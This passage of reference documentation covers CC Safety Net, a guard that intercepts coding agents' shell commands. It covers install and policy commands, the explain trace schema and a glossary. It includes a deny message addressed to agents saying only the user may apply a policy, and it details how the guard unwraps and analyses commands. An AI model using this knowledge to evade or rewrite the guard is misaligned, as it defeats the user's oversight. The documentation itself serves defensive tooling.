terminal | **Options:** | Flag | Description | | ---------------- | ---------------------------------------------------- | | `-g`, `--global` | Use the user-scope policy instead of the project one | | `-h`, `--help` | Show this help | **Examples:** ```bash theme={"dark"} cc-safety-net policy check proposal.json cc-safety-net policy apply proposal.json cc-safety-net policy apply proposal.json --global ``` The target is `.cc-safety-net/policy.json` in the project, or your user policy file under `--global`. ### Output Both subcommands print the same report before `apply` writes anything: ```text theme={"dark"} Scope: project () Proposal: Effective policy (user + project merged): Changes (): : -> ``` The first line reads `Scope: user ()` under `--global`. In project scope the diff compares the effective merge of your user policy and the project file, before against after, under the `Effective policy (user + project merged):` heading. A sparse proposal still changes the level the session runs at, so the diff reports that change rather than the file's own contents: setting `safety.level` lowers or raises the effective level, and leaving it out restores the level inherited from the user policy. In user scope the diff compares the user policy file itself and prints no heading. A diff with nothing in it is the single line `No changes.` An absent side of a row reads `(unset)`. `check` stops after the diff and exits `0`. Errors go to stderr and exit `1` before any diff: `Unknown option for policy: `, `Unknown policy subcommand: `, `policy requires a file`, and `Unexpected policy argument: `. A project proposal carrying an `audit` section is rejected the same way, because audit settings are user scope only: ```text theme={"dark"} : audit settings are user scope only; remove the audit section from a project proposal ``` ### Applying `apply` requires a TTY on both stdin and stdout. Without one it prints the command for you to run and exits `1`: ```text theme={"dark"} policy apply confirms interactively; run this yourself in a terminal: cc-safety-net policy apply ``` The printed command repeats `--global` when you passed it. In a terminal, `apply` asks `Apply this policy to ? [y/N] `. Only `y` or `yes`, in any case, confirms. Anything else declines, including EOF at the prompt, and prints `Cancelled; nothing was written.` before exiting `0`. A confirmed apply writes the file and prints `Policy applied: `, also exiting `0`. A project apply writes only the fields the proposal sets; every field it leaves out keeps inheriting from your user policy. There is no `--yes` and no non-interactive mode. Answering the prompt in a terminal is the only way to apply a proposal. The guard denies an agent that runs `policy apply`, with intent `hard_stop` and this reason: ```text theme={"dark"} Only the user may apply a policy proposal, because it rewrites the configuration CC Safety Net enforces. Ask them to run `cc-safety-net policy apply ` themselves in a terminal; you can run `cc-safety-net policy check ` to show them what it would change. ``` `policy check` stays allowed, so an agent can still draft a proposal and show you the diff it would produce. ## install `install` puts CC Safety Net into a coding agent CLI. The set of targets comes from CC Safety Net's integration catalog, so it is the same list the GUI and `doctor` use. See [Installation](/docs/installation) for per-agent steps, post-install actions, and legacy plugin-identifier migration. ```bash theme={"dark"} npx -y cc-safety-net install npx -y cc-safety-net install --claude-code ``` ### Targets Thirteen targets are accepted, listed here in the order they are installed: | Flag | Agent | How it installs | | ---------------- | ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- | | `--amp` | Amp Code | Publishes the managed plugin to your account's hosted Amp Personal Plugins repository through the amp CLI | | `--agy-cli` | Antigravity CLI | Writes the hook entry into `~/.gemini/config/hooks.json` | | `--claude-code` | Claude Code | Runs Claude Code's own plugin marketplace commands | | `--codex` | Codex | Runs Codex's own plugin marketplace commands | | `--cursor` | Cursor | Writes the hook entry into `~/.cursor/hooks.json` | | `--gemini-cli` | Gemini CLI | Runs Gemini CLI's extension install command | | `--copilot-cli` | GitHub Copilot CLI | Runs Copilot CLI's own plugin marketplace commands | | `--grok-build` | Grok Build | Writes the hook entry into `~/.grok/hooks/cc-safety-net.json` (or `$GROK_HOME/hooks/cc-safety-net.json`) | | `--hermes-agent` | Hermes Agent | Writes a managed Python plugin to `~/.hermes/plugins/cc-safety-net` (or under `$HERMES_HOME`) and enables it with `hermes plugins enable` | | `--kimi-code` | Kimi Code | Writes a `[[hooks]]` block into `~/.kimi-code/config.toml` (or `$KIMI_CODE_HOME/config.toml`), after a method prompt in a terminal | | `--openclaw` | OpenClaw | Installs and enables the bundled plugin through OpenClaw's own `openclaw plugins` commands | | `--opencode` | OpenCode | Runs OpenCode's global plugin install | | `--pi` | Pi | Runs Pi's package install | ### Installation mechanisms CC Safety Net uses three installation mechanisms: * **Native plugin or extension commands.** Claude Code, Codex, GitHub Copilot CLI, Gemini CLI, OpenClaw, OpenCode, and Pi. CC Safety Net uses the agent's plugin manager and removes superseded plugin ids. OpenClaw installation verifies that OpenClaw reports the plugin as loaded, then asks you to restart the Gateway. OpenCode installation imports the cached package entry and verifies that it exports a callable `CCSafetyNetPlugin`; installation fails if OpenCode would load nothing and fail open. * **Config-file writes.** Antigravity CLI, Cursor, Grok Build, and Kimi Code. These are the only agent configurations that CC Safety Net edits directly. * **Managed plugin artifacts.** Amp Code and Hermes Agent. CC Safety Net publishes the Amp plugin to your account's hosted Personal Plugins repository through the Amp CLI. The preflight is `amp plugins repositories --json`, so installation requires the Amp CLI and `amp login`. The published plugin applies to every Amp session, including Orb threads. Install removes a managed local copy at `~/.config/amp/plugins/cc-safety-net.ts` because it would mask the personal plugin. After a change, restart Amp or run `plugins: reload`. For Hermes Agent, installation writes the plugin to disk and runs `hermes plugins enable`. Restart Hermes after a change. Before a config-file install for Antigravity CLI, Cursor, Grok Build, or Kimi Code, or a Hermes Agent install writes anything, it clears stale `cc-safety-net` copies from the `npx` cache. It removes each entry under the npm cache's `_npx` directory whose `node_modules` contains `cc-safety-net`. The npm cache is `$npm_config_cache` when set, otherwise `~/.npm` on macOS and Linux or `%LOCALAPPDATA%\npm-cache` on Windows. These five integrations run the hook through `npx`, so the new hook resolves the latest version instead of a cached one. **Kimi Code has two install methods.** In a terminal, `install --kimi-code` or selecting Kimi Code in the picker opens a single-select prompt. You can install the global hook or print the native Kimi plugin steps. For the plugin, run `/plugins install https://github.com/kenryu42/cc-safety-net` inside Kimi Code. The trust prompt defaults to cancel. Then run `/reload` or start a new session. Choosing the plugin method writes nothing; it only prints the steps. A non-interactive session skips the prompt and installs the global hook directly. The Kimi Code picker row stays selectable during install even when the global hook is configured because the prompt is the only path to the plugin steps. The row is then labelled `(global hook installed)`. ### Selecting a target * **No flag, interactive terminal:** an arrow-key multi-select prompt appears. Each target is probed for availability, so an agent that is not installed shows `CLI not installed`, one already set up shows `already installed`, and one that is not configured shows `not installed` during uninstall. On Windows, the probes, like the installs themselves, resolve npm `.cmd` shims through the shell, so a CLI installed with npm is detected instead of showing `CLI not installed`. * **With a target flag:** provide exactly one target flag. More than one raises `Choose exactly one install|uninstall target:` followed by the full flag list. Unknown `-` arguments and stray positional arguments are also errors. The selector's key bindings are printed in its footer. During install that footer reads: ```text theme={"dark"} Space: select Enter: confirm u: update installed Up/Down: move q/Esc: cancel ``` `Space` toggles the highlighted target. `Enter` confirms, or rings the terminal bell when nothing is selected. `Up`/`Down` and `k`/`j` move between selectable rows. Pressing `u` or `U` during install leaves the selector and runs the [`update`](#update) flow; the uninstall footer omits that binding. Quitting with `q` or `Esc` prints `Cancelled: nothing was installed.` or `Cancelled: nothing was uninstalled.` and exits `0`. Quitting is a decision, not a failure. `Ctrl-C` raises `SIGINT`, so the process ends as an interrupted program normally does. Selected targets always run in catalog install order, not the order you picked them. In a terminal, each target runs behind a spinner, `Installing integration…` or `Uninstalling integration…`, and its report prints once the spinner stops; without a TTY there is no spinner. A host-CLI command that has not finished after 120 seconds is killed and reported as a failure. A failure exits `1` with a hint specific to the error: a permissions problem, a missing path, or a path component that is not a directory. ## update `update` refreshes every installed integration in place. It never installs a new integration and leaves unconfigured agents unchanged. ```bash theme={"dark"} npx -y cc-safety-net@latest update ``` In a TTY, a direct `update` starts detection before it shows the install banner, so the banner animation covers part of the detection time. If detection is still running after the banner, the CLI shows `Checking installed integrations…`. Press `Enter` to skip the animation. When you start update with `u` in the interactive `install` selector, the CLI uses the banner that it already showed and does not print a second one. A non-TTY shows no banner or spinner. `update` reads each agent's configuration and state files. An integration qualifies when it is installed, **even when it is disabled**. Amp Code qualifies through `amp plugins list`, which uses a 30-second timeout like `codex plugin list` because a cold run refreshes checkouts over the network and can outlast the default 5 seconds. GitHub Copilot CLI is the exception. It qualifies only when a CC Safety Net checkout exists in Copilot's `installed-plugins` directory, because its disabled state is indistinguishable from a bare kill switch with nothing installed and `update` must never install something new. Installations that still use the old `safety-net@cc-marketplace` id in Claude Code or Codex also qualify. The GitHub Copilot CLI checkout `cc-marketplace/safety-net` also qualifies. Updating migrates them to the current id and removes the legacy copy on a best-effort basis, so a failed removal warns without failing the target. All targets run the same operation as `install` concurrently behind one `Updating integration…` or `Updating integrations…` spinner. The command waits for every target to settle, then prints all reports in stable catalog order, with messages changed to `Updated …` or `… up to date`. For the targets whose install drives the agent's own CLI, Claude Code, Codex, GitHub Copilot CLI, Gemini CLI, Hermes Agent, OpenClaw, OpenCode, and Pi, the vendor binary is probed first: a missing binary prints ` not found; skipped` (for example `Codex not found; skipped`) and the run continues. The config-file targets, Antigravity CLI, Cursor, Grok Build, and Kimi Code, need no binary and always refresh. Amp Code needs no separate probe: it is detected only when `amp plugins list` shows the personal plugin, and its refresh drives the amp CLI to publish the current artifact. On Claude Code, Codex, and GitHub Copilot CLI, an already-registered marketplace is refreshed before the plugin step (for example `claude plugin marketplace update cc-marketplace`) instead of relying on a no-op `add`, so a stale catalog checkout cannot fail the update. Before the concurrent phase, `update` clears the `npx` cache once when any cache-dependent target is present: Antigravity CLI, Cursor, Grok Build, Hermes Agent, or Kimi Code. If that clear fails, only those cache-dependent targets fail; the other targets still run. The `bunx` cache clear is unconditional. Every `update` run clears your `cc-safety-net` entries there, including a run that finds no integrations at all, because you invoke `bunx cc-safety-net` yourself rather than an integration invoking it. `bunx` installs each package into the OS temp directory as `bunx--@`, and the clear matches entries by that name. On macOS and Linux it matches only your own uid. On Windows it matches any numeric id, because `%TEMP%` is already per user. The trailing `@` keeps `cc-safety-net-*` lookalikes out. The entry the running process executes from is skipped, so a `bunx`-launched `update` does not delete its own files; that entry re-resolves through bun's manifest TTL instead. A failed clear prints the error and exits `1`. When nothing qualifies, `update` prints ``No installed integrations found. Run `cc-safety-net install` to set one up.`` and exits `0`. A failed `bunx` cache clear is the only thing that can make that run exit `1`. `update` ends with a best-effort nudge when the npm registry has a newer release: ```text theme={"dark"} Update available: cc-safety-net . Update this CLI with your package manager, e.g. `npm i -g cc-safety-net@latest` for a global install. ``` The nudge is for persistent installs. An `npx` or `bunx` run is ephemeral and the cache clears above already refresh it, so those runs skip the registry check entirely. `update` recognizes them by a `_npx` path segment, or by a segment matching bun's real cache naming `bunx--`. A persistent path that merely contains `bunx-` with no digits, `/opt/bunx-tools` for example, still gets the nudge. A failed check, an offline run, and a dev build print nothing and never change the exit code. `update` accepts only `-h` or `--help`, with no target flags or arguments. Any other option prints `Unknown option for update: `, while a positional argument prints `Unexpected argument for update: `. Both exit `1`. One target's failure does not stop the run. Its error prints with the same hints as `install`, and update continues with the remaining targets. The command exits `1` if any target failed and `0` otherwise. You can also reach the update flow from the interactive `install` selector by pressing `u`. ## uninstall `uninstall` accepts the same thirteen target flags and uses the same selection rules and target order as `install`. ```bash theme={"dark"} npx -y cc-safety-net uninstall npx -y cc-safety-net uninstall --cursor ``` For the config-file targets, uninstall removes only the entries CC Safety Net manages, matched by its own hook command string, and leaves everything else in the file untouched. ## hook `hook` runs CC Safety Net as an agent's runtime hook. It reads the agent's hook input as JSON from stdin and emits that agent's deny format. You do not normally run it by hand: your agent's plugin or config wires it up. It is the command behind the protection. `hook` requires exactly one integration flag. Zero or multiple flags print `hook requires exactly one integration flag. Try: cc-safety-net hook --kimi-code`, show the command help, and exit `1`. | Flag | Agent | Hook event | Legacy flags | | ----------------------- | ------------------------ | --------------- | ---------------------------------------------------------------------------------------------- | | `-ac`, `--agy-cli` | Antigravity CLI | `PreToolUse` | None | | `-cc`, `--coding-cli` | Coding CLI (Claude Code) | `PreToolUse` | `--claude-code`; also `cc-safety-net -cc` and `cc-safety-net --claude-code` as top-level forms | | `-cx`, `--codex` | Codex | `PreToolUse` | None | | `-cu`, `--cursor` | Cursor | `preToolUse` | None | | `-gc`, `--gemini-cli` | Gemini CLI | `BeforeTool` | `cc-safety-net -gc` and `cc-safety-net --gemini-cli` as top-level forms | | `-cp`, `--copilot-cli` | GitHub Copilot CLI | `PreToolUse` | `cc-safety-net -cp` and `cc-safety-net --copilot-cli` as top-level forms | | `-gb`, `--grok-build` | Grok Build | `PreToolUse` | None | | `-ha`, `--hermes-agent` | Hermes Agent | `pre_tool_call` | None | | `-kc`, `--kimi-code` | Kimi Code | `PreToolUse` | None | Amp Code, OpenClaw, OpenCode, and Pi have no `hook` flag of their own. They load CC Safety Net in process as a plugin or extension. See [Integration architecture](/docs/guides/integration-architecture) for how each agent plugs in. There is no `hook install` or `hook uninstall` subcommand. Installation is handled by the top-level [`install`](#install) and [`uninstall`](#uninstall) commands. ### Antigravity CLI entry point `install --agy-cli` writes `npx -y cc-safety-net hook --agy-cli` into `~/.gemini/config/hooks.json` because Antigravity shares the `.gemini` directory. The managed entry is named `cc-safety-net` and registers a `PreToolUse` command hook with a 30-second timeout. Install creates an absent file, re-enables a disabled managed entry, or appends a new entry. Uninstall removes only entries whose command matches the managed string. At runtime the hook reads Antigravity's `run_command` tool calls, takes the session id from `conversationId`, and denies with `{ "decision": "deny", "reason": … }`. ### Cursor entry point `install --cursor` writes the command `npx -y cc-safety-net hook --cursor` into `~/.cursor/hooks.json` under `hooks.preToolUse`, in a `"version": 1` document, with a 30-second timeout and `failClosed: true`. The installer validates the document's version and shape and fails with a descriptive error rather than rewriting something it does not recognize. Duplicate managed entries are collapsed into one. At runtime the hook reads Cursor's `Shell` tool calls, takes the session id from `conversation_id`, and answers with `{ "permission": "deny", … }` or `{ "permission": "allow" }`. Cursor's `working_directory` field is containment-checked against the workspace roots and fails closed when it is missing-but-declared or points outside them. ### Grok Build entry point `install --grok-build` writes the command `npx -y cc-safety-net hook --grok-build` into `~/.grok/hooks/cc-safety-net.json`, or `$GROK_HOME/hooks/cc-safety-net.json` when `GROK_HOME` is set, as a `PreToolUse` entry with a 30-second timeout and no matcher, so every tool call reaches the hook instead of only `run_terminal_command`. Install rewrites only the managed entry and keeps foreign entries, foreign handlers, and other hook events. It repairs an unparsable file to the canonical form, because Grok Build skips an unparsable hook file entirely and such a file cannot carry working foreign hooks. Uninstall strips only the managed handler and deletes the file only when nothing else is left in it. At runtime the hook reads Grok Build's camelCase input: `toolName`, `toolInput`, `sessionId`, `cwd`, and `workspaceRoot`. `run_terminal_command` is the only command tool, and its shell dialect is detected automatically. The session id comes from `sessionId`, and the hook answers with `{ "decision": "deny", "reason": … }` or `{ "decision": "allow" }`, the only output form Grok Build reads. `toolInputTruncated: true` fails closed, because Grok Build truncates tool input at 128 KB and the cut command cannot be analyzed. The trusted root is `workspaceRoot`, or `cwd` when `workspaceRoot` is absent; `cwd` must canonicalize to a directory inside that root, and an absent or empty `cwd` is read as `.`. A root that cannot be canonicalized, or a `cwd` outside it, fails closed. ## gui `gui` starts the local policy editor and opens it in your browser. See [Dashboard](/docs/guides/dashboard) for its views and confirmation behavior. ```bash theme={"dark"} npx cc-safety-net gui npx cc-safety-net gui --no-open ``` ### Options | Flag | Description | | -------------- | -------------------------------------------------------------- | | `--no-open` | Start the server and print the URL without launching a browser | | `-h`, `--help` | Show help | `--no-open` is the only argument `gui` accepts. Any other argument prints an error: `Unknown option for gui: ` for an option or `Unexpected argument for gui: ` for a positional. It then prints `Usage: cc-safety-net gui [--no-open]` and exits `1`. The server always starts first and prints `CC Safety Net policy GUI: ` with or without the flag. `--no-open` suppresses only the browser launch. A failed browser launch is not fatal: `gui` prints the URL to open manually and the server keeps running. The server binds `127.0.0.1` on an ephemeral port and mints a fresh token for each run, so the URL looks like `http://127.0.0.1:/?token=`. Every request must carry that token, and writes must also send it as a header. The process then runs until you interrupt it. ## statusline `statusline` prints CC Safety Net's current state as a single line of emoji indicators, sized for an agent status bar. It requires `--claude-code` (short form `-cc`); without it, the command errors, shows help, and exits `1`. ```bash theme={"dark"} bunx cc-safety-net statusline --claude-code # -cc is the short form of --claude-code bunx cc-safety-net statusline -cc ``` The line shows `🛡️ CC Safety Net ❌` when the plugin is disabled. Otherwise it shows the level as an emoji, `✅` standard, `🔒` strict, `👁️` paranoid, `🔧` customised, plus `🌳` when worktree relaxations are active and a trailing `⚠️` when the policy snapshot is degraded. `statusline` reads standard input when input is piped to it. It discards Claude Code's JSON status payload. It keeps other piped text and prefixes it to the indicators as ` | `. `statusline` and [`status`](#status) use the same policy snapshot and environment modes. Their output formats differ. Use `status` for a terminal report. Use `statusline` for a program or status bar. See the [Status line](/docs/configuration/status-line) configuration page for setup instructions and what each indicator means. ## Global options Check the installed version or get usage information at any time. `--version` has a `-V` short alias, and `--help` has a `-h` short alias. ```bash theme={"dark"} npx cc-safety-net --version npx cc-safety-net -V npx cc-safety-net --help npx cc-safety-net -h ``` Use `help ` or ` --help` to see usage for a specific command: ```bash theme={"dark"} npx cc-safety-net help explain npx cc-safety-net explain --help npx cc-safety-net help doctor ``` An unrecognized command prints `Unknown command: `, or `Unknown option: ` when it starts with `-`, followed by `Run 'cc-safety-net --help' for usage.`, and exits `1`. `help ` for an unknown command prints `Unknown command: ` and `Run 'cc-safety-net --help' for available commands.` instead. All of these failure-path messages, including the help text they show, go to stderr. # Explain JSON trace reference Source: https://ccsafetynet.com/docs/reference/explain-trace Schema for the JSON returned by cc-safety-net explain --json: ExplainResult fields, the TraceStep variants that describe each analysis step, and what a trace reveals before you share it. The `explain --json` command returns a structured trace of command analysis. This page defines the JSON shape for scripts and other tools. It also explains what a trace can reveal before you share it. See [CLI commands](/docs/reference/cli-commands#explain) for flags and exit behavior. See [Troubleshooting](/docs/guides/troubleshooting) for help with an unexpected block. ```bash theme={"dark"} npx cc-safety-net explain --json "git checkout -- file.txt" ``` A trace is not automatically safe to share. Read [Before you share a trace](#before-you-share-a-trace) first. ## ExplainResult The top-level object returned by `explain --json`. | Field | Type | Presence | Description | | --------------------------------- | -------------------------------------------------- | ---------------------------------------- | ----------------------------------------------------------------------------------------------------------- | | `result` | `"blocked" \| "allowed"` | always | Final outcome for the command | | `reason` | `string` | blocked only | The block reason | | `segment` | `string` | blocked only | The specific segment that triggered the decision | | `ruleId` | `string` | blocked with a matched rule | The id of the rule that produced the block | | `trace` | `ExplainTrace` | always | The trace container with top-level and per-segment steps | | `customRule` | `object` | when a custom or rulebook rule matched | `id`, plus optional `rulebook` (`name`, `version`), `source`, and `override` (`{ type: "reason", reason }`) | | `configSource` | `string \| null` | always | The config file the effective config was loaded from | | `configValid` | `boolean` | always | Whether the loaded config validated cleanly | | `effectiveLevel` | `"standard" \| "strict" \| "paranoid" \| "custom"` | always | The level actually in force, after environment flags and overrides | | `selectedPreset` | `"standard" \| "strict" \| "paranoid"` | always | The preset named in the policy, defaulting to `standard` | | `safetyPresetScope` | `"user" \| "project" \| "default"` | only when a project policy file was read | Which scope supplied `selectedPreset` | | `effectiveCapabilities` | `object` | always | Per-capability state. See below | | `destructiveCommandRuleOverrides` | `Record` | always, may be `{}` | Per-rule overrides stored in the policy | | `ruleActivation` | `object` | conditional. See below | How the relevant rule got its on/off state | The result builds `effectiveLevel`, `selectedPreset`, `effectiveCapabilities`, and `destructiveCommandRuleOverrides` once and includes them in every return path. They are present even when you explain an empty command. `safetyPresetScope` joins them on the same path, but only when a project `.cc-safety-net/policy.json` was read. Human output renders the preset in the CONFIG section as , where the scope is `user policy`, `project policy`, or `built-in default`. Without a project policy file the line is with no parenthetical. ### `effectiveCapabilities` `effectiveCapabilities` is a record keyed by `fail_closed`, `paranoid_rm`, and `paranoid_interpreters`. Each value contains: | Field | Type | Description | | --------- | ---------------------------------------------------- | ------------------------------------------------- | | `enabled` | `boolean` | Whether the capability is on | | `source` | `"preset" \| "capability_override" \| "environment"` | What decided the final state | | `sources` | `array` | Every input that contributed, in precedence order | See [Modes](/docs/configuration/modes) for what each capability changes. ### `ruleActivation` `ruleActivation` is present only when the relevant rule declares an activation capability. The relevant rule is either the matched rule or a mode-gated candidate. A mode-gated candidate is a rule that would match if its required level or capability were active. | Field | Type | Description | | ---------------------- | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | | `id` | `string` | The rule id | | `enabled` | `boolean` | Whether the rule is active right now | | `inheritedEnabled` | `boolean` | Whether the rule would be active from inheritance alone | | `changesInherited` | `boolean` | Whether the effective state differs from the inherited one | | `source` | `string` | What decided it: `catastrophic`, `master_disabled`, `rule_override`, `preset`, `capability_override`, `environment`, or `built_in_default` | | `activationCapability` | `string` | Optional. The capability that gates the rule | | `override` | `"on" \| "off"` | Optional. The stored per-rule override, when there is one | Human output renders this as one line: . ## `ExplainTrace` | Field | Type | Description | | ---------- | ------------- | ------------------------------------------------------------------------------------------------------- | | `steps` | `TraceStep[]` | Top-level steps. Most traces start with the global `parse` step. Protection short circuits can omit it. | | `segments` | `object[]` | Per-segment entries, each with an `index` and its own `steps` array | The trace is passive: recording it never changes a decision, and ordinary guard evaluation never builds one. It exists only for `explain`. **Bounds.** The recorder keeps at most 512 events, 2,048 characters per text value, 128 items per list, 128 properties per object, and 16 levels of nesting. It counts events beyond the cap instead of storing them and deep-freezes each recorded value. `ExplainTrace` exposes only `steps` and `segments`, not the dropped-event count. ## `TraceStep` variants Use `type` to select the variant before you read its other fields. | `type` | Key fields | When it appears | | ------------------------- | -------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `parse` | `input`, `segments` | The initial shell split into token segments | | `env-strip` | `input`, `envVars`, `output` | Environment assignments stripped from the front of the segment. `envVars` contains only assigned **names**, with no values. The assignment tokens stay in `input` with their values redacted | | `leading-tokens-stripped` | `input`, `removed`, `output` | Leading tokens (for example `env`, `command`) removed before analysis | | `shell-wrapper` | `wrapper`, `innerCommand` | A shell wrapper such as `bash -c` was unwrapped | | `interpreter` | `interpreter`, `codeArg`, `paranoidBlocked` | An interpreter one-liner was inspected; `paranoidBlocked` marks a paranoid-mode outright denial | | `busybox` | `subcommand` | A busybox-style dispatch was resolved to a subcommand | | `transparent-wrapper` | `wrapper`, `output` | A registered transparent wrapper was seen through. See below | | `recurse` | `reason`, `innerCommand`, `depth` | Recursive re-analysis was triggered | | `rule-check` | `rule`, `matched`, `reason?` | A built-in rule module was evaluated. `rule` is one `:` string, for example `git:analyzeGitMatch`. Human output renders it as `Rule: ()` | | `worktree-relaxation` | `originalReason`, `gitCwd` | A git discard command was relaxed because the target is a linked worktree | | `tmpdir-check` | `tmpdirValue`, `isOverriddenToNonTemp`, `allowTmpdirVar` | `$TMPDIR` resolution and override detection | | `fallback-scan` | `tokensScanned`, `embeddedCommandFound?` | Fallback dangerous-text scan over the remaining tokens | | `custom-rules-check` | `rulesChecked`, `matched`, `reason?` | User-defined rules were evaluated | | `cwd-change` | `segment`, `effectiveCwdNowUnknown` | A `cd`/`pushd` changed the effective cwd; later classification uses the new or unknown cwd | | `dangerous-text` | `token`, `matched`, `reason?` | A token was scanned against dangerous-text patterns | | `strict-unparseable` | `rawCommand`, `reason` | Strict mode failed closed on an unparseable command | | `segment-skipped` | `index`, `reason` | A segment was skipped because a prior segment already blocked | | `error` | `message`, `partial?` | An analysis error was captured; `partial` marks partial output | ### `recurse` reasons `recurse.reason` has one of eight values: `shell-wrapper`, `interpreter`, `busybox`, `shell-eval`, `shell-trap`, `shell-stdin`, `shell-heredoc`, or `heredoc-file`. `heredoc-file` is recorded when a command runs a script file whose content the analysis already knows. The content is a quoted heredoc body written to that path earlier in the same command through `cat >` or `tee`. The analyzer then treats the stored body as the script. See [Heredoc analysis](/docs/guides/analysis-engine#heredoc-analysis). ### `transparent-wrapper` steps `transparent-wrapper` is a segment-scoped step recorded when the analyzer looks through a command registered with `rule wrapper add`. It emits one step for the primary child and one for each alternative. Each step carries: | Field | Type | Description | | --------- | ---------- | ------------------------------------------------------- | | `wrapper` | `string` | The wrapper command name | | `output` | `string[]` | The candidate token list the analysis will recurse into | The step is recorded immediately before recursing into those tokens, so it always precedes the analysis of the wrapped command. Human output renders it as a numbered `Transparent wrapper` step showing `Wrapper:` and `Tokens:`. Manage wrappers with the `rule wrapper add`, `rule wrapper remove`, and `rule wrapper list` commands. See [`rule wrapper`](/docs/reference/cli-commands#rule-wrapper). ## Trace order A typical trace flows from `parse` → per-segment `env-strip` / `leading-tokens-stripped` → detection (`shell-wrapper` / `interpreter` / `busybox` / `transparent-wrapper`) → `rule-check` or `custom-rules-check` → a decision. Recursion appears as `recurse` steps with increasing `depth`, except `busybox` dispatch, which records a `recurse` step but does not consume recursion depth, so a chain of busybox wrappers repeats the same `depth` value. When you only need the verdict, read `result` (plus `reason`, `segment`, and `ruleId`) at the top level instead of walking the trace. Three protections short-circuit before the evaluator runs: policy-file protection, Git-metadata protection, and secret protection. When one of those blocks a command, the trace contains a **single synthetic `rule-check` step and no `parse` step**, with `ruleId` set to `policy-protection`, `git-metadata-protection`, or the id of the matched secret rule. Tooling that assumes every trace opens with a `parse` step needs to handle this case. ## Before you share a trace **An explain trace is not inherently safe to share.** The `parse` step records the raw command string and every parsed token. Other fields also carry raw text: `fallback-scan.tokensScanned`, `dangerous-text.token`, `shell-wrapper.innerCommand`, `interpreter.codeArg`, `recurse.innerCommand`, `strict-unparseable.rawCommand`, `transparent-wrapper.output`, `worktree-relaxation.gitCwd`, and `cwd-change.segment`. `configSource` is an absolute path, normally inside your home directory. Redaction removes only recognized credential **shapes** from the bounded pattern list used by the [audit log](/docs/reference/audit-log#secret-redaction). It does not cover file paths, hostnames, IP addresses, usernames, project or client names, or secrets with unrecognized formats. Before sharing a trace: reproduce the case with **placeholder credentials and placeholder paths**, then **read the output end to end** and remove anything you would not post publicly. For example, explaining a command that contains a `--token=…` assignment redacts the token, but a path like `/srv/acme-prod/customer-dump.sql` in the same command is returned in full, along with any hostname, IP address, or account name in the command text. You can include `explain` output in a vulnerability report. Redaction is a best-effort control, not a guarantee. A redaction bypass is a reportable vulnerability. Review the complete output before you paste it. ## Related pages * [CLI commands](/docs/reference/cli-commands#explain) documents `explain` flags, examples, and exit behavior. * [Audit log](/docs/reference/audit-log#secret-redaction) lists the redaction patterns and applies the same bound to logged records. * [Analysis engine](/docs/guides/analysis-engine) defines the behavior behind each trace step. * [Troubleshooting](/docs/guides/troubleshooting) explains how to use `explain` for an unexpected block. # Glossary Source: https://ccsafetynet.com/docs/reference/glossary Definitions for CC Safety Net terms: policy, preset, capability, degraded, decision, rulebook, transparent wrapper, integration model, fail-closed, and segments. This glossary defines terms used in the CC Safety Net documentation. Each entry gives a short definition and links to the page that defines the full behavior. ## Core concepts | Term | Definition | | --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **PreToolUse hook** | A hook that runs before a tool executes. CC Safety Net uses `PreToolUse` or the equivalent event for each agent to inspect shell commands before execution. See [How it works](/docs/guides/how-it-works). | | **Fail-closed** | When the guard cannot reach a trustworthy verdict, that one tool call is **denied** rather than allowed. Causes include an unexpected analysis error, malformed or oversized hook input, an empty command, a parser limit, or an unparseable command under strict mode. Invalid configuration is *not* fail-closed; it degrades instead. See [Design principles](/docs/guides/design-principles) and [Security model](/docs/guides/security-model). | | **Decision** | The guard's allow-or-deny outcome for a single tool call. When audit logging records a command decision, it writes one audit record with the rule id, effective safety level, and degraded-runtime fallback state. See [Audit log](/docs/reference/audit-log). | | **Segment** | A single command split from a compound command by shell operators (`&&`, `\|\|`, `\|`, `;`, newline). The engine analyzes segments in sequence and carries relevant state, such as the effective working directory, between them. If one segment is blocked, the full command is denied. See [Analysis engine](/docs/guides/analysis-engine). | | **Analysis engine** | The platform-agnostic core that parses a command string and decides whether to block it. Every agent integration feeds the same engine. See [Analysis engine](/docs/guides/analysis-engine). | | **Integration model** | How CC Safety Net executes inside a coding agent: as a standard-input hook subprocess, an agent-loaded plugin, an in-process extension, or an event plugin. The integration model changes how the agent invokes CC Safety Net. All integrations use the same analysis engine. See [Integration architecture](/docs/guides/integration-architecture). | ## Configuration | Term | Definition | | -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Policy** | The settings document `policy.json`, which defaults to `~/.cc-safety-net/policy.json`. It holds the safety preset, capability overrides, worktree mode, destructive-command protection, secret protection, and audit retention. Custom rules do not live there. See [Policy](/docs/configuration/policy). | | **Project policy** | The optional `.cc-safety-net/policy.json` in the project root. It is a sparse file. It sets only the fields it lists, and every field it omits keeps the user policy's value. It has no `audit` section; audit settings are user scope only. Writing it is denied like the user policy file. See [Policy](/docs/configuration/policy). | | **Effective policy** | The user policy with the project policy layered on top. The project value wins for `safety.level`, `workflow.worktree_mode`, and each `enabled` flag it sets; per-rule overrides merge by rule id; `allow_paths` and `deny_paths` are the union of both scopes. Each field the project relaxes is reported as a weakening line. See [Policy](/docs/configuration/policy). | | **Policy snapshot** | The effective runtime policy composed on every tool call from the user and project policy files, each scope's `rule.json`, and each configured source's rulebook file. Loading it performs no writes, no network requests, and no caching. It resolves to exactly one of two states, `ready` or `degraded`. See [Configuration recovery](/docs/configuration/recovery). | | **Preset** | The `safety.level` value that supplies inherited capability defaults: `standard`, `strict`, or `paranoid`. When overrides produce a combination that matches no preset, the reported effective level is `custom`. See [Modes](/docs/configuration/modes). | | **Capability** | One individually settable protection behavior inherited from the preset: `fail_closed`, `paranoid_rm`, or `paranoid_interpreters`. `safety.overrides` in the policy file sets a capability up or down; the legacy environment flags can only raise it. See [Modes](/docs/configuration/modes). | | **Degraded** | The policy snapshot state entered when a configuration source is rejected: the unverifiable source is dropped or falls back to protective defaults, ordinary work continues, and the state is reported on every diagnostic surface. The other state is `ready`. See [Configuration recovery](/docs/configuration/recovery). | ## Shell command forms | Term | Definition | | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Shell wrapper** | 